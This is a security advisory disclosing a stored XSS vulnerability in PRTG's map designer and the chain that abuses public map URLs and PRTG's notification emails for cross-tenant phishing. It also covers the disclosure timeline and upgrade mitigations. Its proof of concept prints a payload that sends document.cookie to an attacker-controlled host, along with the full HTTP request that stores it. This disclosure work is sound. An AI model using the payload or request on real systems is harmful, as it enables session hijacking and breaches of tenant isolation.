During a security assessment of a PRTG setup implemented by a client, Redguard’s security testers uncovered an attack chain combining a stored Cross-Site Scripting vulnerability with built-in platform features. Weak input sanitization in PRTG’s map component allowed the execution of malicious JavaScript. To magnify the threat, attackers could set these infected maps to unauthenticated public access and distribute the links using PRTG’s internal email engine. This enabled attackers to send domain-authenticated phishing emails directly from the client’s mail server, bypassing multi-tenant boundaries and severely compromising system integrity.

A customer is using a multi-tenant setup for the network monitor software PRTG. The customer tasked security testers from Redguard with the goal of verifying if it is possible for a user of one tenant to access any information of another tenant. During the penetration test, the security tester focused mostly on authentication or authorization bypasses until they discovered a component which allowed the user to insert and render HTML code.

Initial testing with standard Cross-Site Scripting (XSS) payloads showed that basic angle brackets were escaped into curly braces to render as plain text strings. However, further testing revealed a specific HTML string capable of bypassing this filter and executing arbitrary JavaScript within the application context. Compounding this vulnerability, the system’s session cookies lacked the HttpOnly flag. This missing security control allowed the injected script to read and exfiltrate the active session cookies of any user who viewed the compromised map.

The attack chain became significantly more potent when combined with native PRTG configuration options. First, PRTG allows maps to be configured for unauthenticated access via public URLs, meaning a target does not even need to log in to trigger the malicious payload. Second, PRTG features a built-in alert system that dispatches automated notifications based on custom triggers. Users can fully customize the subject and body of these messages. Because the emails are sent through the client’s official mail server, they include legitimate corporate signatures. An attacker could abuse these notification triggers to automatically distribute links to malicious maps to victims.

By chaining the Stored XSS vulnerability with public URL generation and PRTG’s internal mailing capabilities, an attacker could launch phishing campaigns originating from a trusted, domain-authenticated address. Any already logged-in user opening the link would immediately have their session hijacked, resulting in a complete failure of multi-tenant isolation and compromising the security of the entire deployment.

Please refer to the text below for the technical details and timeline regarding the advisory.

Security Advisory

Paessler’s PRTG provides the users with a functionality to customize maps with additional elements in the map designer. One of these elements is a custom element which allows the user to enter HTML code. This HTML code then allows an attacker to inject malicious JavaScript code, which can be used to perform potentially malicious actions in the context of another user.

Proof of Concept

As proof of concept, a new map is created in the map designer of PRTG in the vulnerable version 25.4.114.1032. A new custom element is then added to the map:

The element provides two text fields in which HTML code can be added, HTML Before and HTML After. The XSS vulnerability affects both fields. For verification, the following code is injected into the HTML After property:

1
HTML <img src="x" onerror=fetch("https://attacker-domain.ch?test=" + btoa(document.cookie))>

This code takes the affected user’s cookies, encodes them in base64 and sends them to a third-party server controlled by the attacker. Following this assessment, Paessler, the vendor behind PRTG, independently hardened PRTG by applying the missing HttpOnly flag in a subsequent release, ensuring session cookies could no longer be accessed via client-side scripts.

To store the payload in the application, it is first URL-encoded and then sent in the following request:

1
2
3
4
5
6
7
8
9
POST /api/editmapobject.htm HTTP/1.1
Host: prtg.victim.ch
Cookie: cookiesession1=[REDACTED]; OCTOPUS53909aaa857[REDACTED=ezEzNjczM[REDACTED]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Anti-Csrf-Token: M2M1ZDRlZTkwY2ZkZWN[REDACTED]
X-Requested-With: XMLHttpRequest
Content-Length: 279

top=250&left=480&width=120&height=80&zindex=2&htmlbefore_=&htmlafter_=%3Cimg+src%3D%22x%22+onerror%3D%22fetch(%26quot%3Bhttps%3A%2F%2Fattacker-domain.ch?test%3D%26quot%3B+%2B+btoa(document.cookie))%22%3E+&ElementLink=&subid=2&id=32031

The server confirms with the HTML code of the changed element:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
[...]

<!--Custom HTML: Custom HTML element-->
<div class="map_object status-down" id="mapelement_32031_2" objectid="0" subid="2" style="min-width:100px;min-height:40px;height:80px;width:120px;top:250px;left:480px;z-index:2">
<a href='javascript:alert(1)'>test</a>
<img src='x' onerror='fetch(&quot;https://attacker-domain.ch?test=&quot; + btoa(document.cookie))'>
</div>

If any user now opens this map, they see the following page:

The opening of the map triggers the injected JavaScript code. This sends a request, containing the base64-encoded session cookies as a query parameter to a server controlled by the attacker:

1
2
3
4
GET /?test=T0NUT1BVUzUzOTA5YWFhODU3YT[REDACTED]xQk5rRXlMVUZFUXpjek1EUTRRVGt3UlgwJTNE HTTP/1.1
Host: attacker-domain.ch
Referer: https://prtg.victim.ch/
Origin: https://prtg.victim.ch

After the parameter is decoded, the resulting cookie reflects the session cookie of the user opening the affected map:

1
OCTOPUS53909aaa857[REDACTED]=ezEzNjczMT[REDACTED]

By default, only users, which are logged in and have access to the tenant containing the map, can open the map with the injected code. To allow all users to access this map, the access settings can be modified accordingly:

This setting allows all users, independently of the tenant they belong to, to access this map. Users, which do not belong to the tenant the map was created in, need a URL to the map. This URL can be found in the Get HTML tab.

Suggested Mitigations and Countermeasures

For customers using a self-managed/on-premises instance of Paessler’s PRTG, it is recommended to upgrade to the version 26.2.120.1449 or newer. Customers using the PRTG Hosted Monitor/Cloud instance don’t have to get active on their own, as their version will be automatically upgraded. For customers not able to upgrade their instance, it is recommended to restrict the permissions for the map designer and the notifications.

Credits

• Yannick Feller Redguard AG

Timeline

In the timeline below, the customer refers to the customer of Redguard where the vulnerability was identified and the vendor refers to the PRTG team.

• 2026-01-07: Vulnerabilities were initially discovered and reported to the customer.
• 2026-01-28: Customer approved direct disclosure to the vendor.
• 2026-02-04: Initial contact with vendor.
• 2026-02-05: Vendor requested the information for the vulnerabilities.
• 2026-02-10: Redguard provided the information.
• 2026-02-11: Vendor acknowledged the receipt of the information.
• 2026-03-09: Redguard contacted the vendor again due to no further response.
• 2026-03-09: Vendor responded that there are internal discussions.
• 2026-03-23: Redguard contacted the vendor again due to no further response.
• 2026-03-23: Vendor acknowledged the vulnerabilities.
• 2026-05-30: Vendor requested a CVE.
• 2026-06-03: Vendor released the version containing the fixes.
• 2026-07-09: The vendor informed their customers about the vulnerability.
• 2026-08-17: Public disclosure of this advisory and the Proof of Concept.

Disclaimer

This document is not meant to be a complete list of security issues for any of the mentioned software and/or versions. It is possible, and indeed likely, that there are further security issues that are yet to be identified. The information in the advisory is believed to be accurate at the time of publishing, based on currently available information.

Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties regarding this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.